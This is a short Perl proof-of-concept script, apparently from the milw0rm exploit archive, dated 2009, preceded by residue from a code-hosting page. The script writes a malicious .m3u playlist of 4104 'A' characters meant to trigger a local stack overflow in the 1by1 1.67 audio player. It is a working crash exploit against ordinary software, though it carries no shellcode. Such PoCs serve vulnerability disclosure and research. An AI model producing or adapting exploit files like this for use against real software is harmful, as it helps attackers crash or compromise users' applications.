12 lines
No EOL
398 B
Perl
Executable file
12 lines
No EOL
398 B
Perl
Executable file
# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## #
|
|
# # 1by1 1.67 (.M3U File) Local Stack Overflow POC # #
|
|
# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## #
|
|
my $chars= "A" x 4104;
|
|
my $file="goldm.m3u";
|
|
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
|
|
print $FILE $chars;
|
|
close($FILE);
|
|
print "$file has been created \n";
|
|
print "Thanx Tryag.Com";
|
|
|
|
# milw0rm.com [2009-04-20] |